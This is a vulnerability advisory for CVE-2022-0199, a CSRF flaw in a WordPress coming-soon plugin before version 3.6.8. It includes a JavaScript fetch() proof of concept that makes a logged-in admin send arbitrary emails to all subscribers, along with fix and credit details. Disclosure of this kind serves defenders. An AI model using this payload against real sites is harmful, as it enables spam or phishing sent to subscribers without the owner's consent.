Coming soon and Maintenance mode < 3.6.8 – Arbitrary Email Sending to Subscribed Users via CSRF | CVE 2022-0199 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in its coming_soon_send_mail AJAX action, allowing attackers to make logged in admin to send arbitrary emails to all subscribed users via a CSRF attack

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=coming_soon_send_mail&massage_title=title&massage_description=description&massage_from_name=from&massage_from_mail=from@example.com",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Affects Plugins

coming-soon-page

Fixed in 3.6.8

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2659455

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

1ab1748f-c939-4953-83fc-9df878da7714

Timeline

Publicly Published

2022-01-24 (about 3 years ago)

Added

2022-01-24 (about 3 years ago)

Last Updated

2022-04-12 (about 3 years ago)

Other

Published

Title

Published

2023-06-20

Title

WooCommerce PayPal Payments < 2.0.5 - Merchant ID Details Update via CSRF

Published

2024-01-23

Title

WP-Reply Notify <= 1.1 - Settings Update via CSRF

Published

2025-04-04

Title

RDP Wiki Embed <= 1.2.20 - Cross-Site Request Forgery

Published

2023-02-28

Title

WoodMart < 7.1.2 - License Update/Deactivation via CSRF

Published

2024-12-12

Title

WP Fiddle <= 1.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting